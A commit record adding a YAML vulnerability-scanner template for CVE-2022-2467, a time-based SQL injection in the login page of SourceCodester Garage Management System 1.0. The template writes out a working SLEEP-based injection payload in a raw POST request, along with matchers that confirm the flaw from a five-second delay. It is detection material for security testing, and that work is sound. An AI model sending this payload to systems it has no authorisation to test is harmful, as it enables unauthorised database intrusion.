Merge pull request #5533 from edoardottt/CVE-2022-2467

Add CVE-2022-2467

cves/2022/CVE-2022-2467.yaml

@@ -0,0 +1,42 @@
+id: CVE-2022-2467
+
+info:
+  name: SourceCodester Garage Management System 1.0 - SQL Injection
+  author: edoardottt
+  severity: critical
+  description: |
+    A vulnerability has been found in SourceCodester Garage Management System 1.0 and classified as critical. This vulnerability affects unknown code of the file /login.php. The manipulation of the argument username with the input 1@a.com' AND (SELECT 6427 FROM (SELECT(SLEEP(5)))LwLu) AND 'hsvT'='hsvT leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.
+  reference:
+    - https://github.com/xiahao90/CVEproject/blob/main/xiahao.webray.com.cn/Garage-Management-System.md
+    - https://www.sourcecodester.com/php/15485/garage-management-system-using-phpmysql-source-code.html
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-2467
+  classification:
+    cve-id: CVE-2022-2467
+  metadata:
+    verified: true
+  tags: cve,cve2022,sourcecodester,garagemanagementsystem,sqli
+
+requests:
+  - raw:
+      - |
+        @timeout: 10s
+        POST /login.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        username=1@a.com' AND (SELECT 6427 FROM (SELECT(SLEEP(5)))LwLu) AND 'hsvT'='hsvT&password=412312&login=test2334
+
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - 'duration>=5'
+
+      - type: word
+        part: body
+        words:
+          - 'Garage Billing Software'
+
+      - type: status
+        status:
+          - 200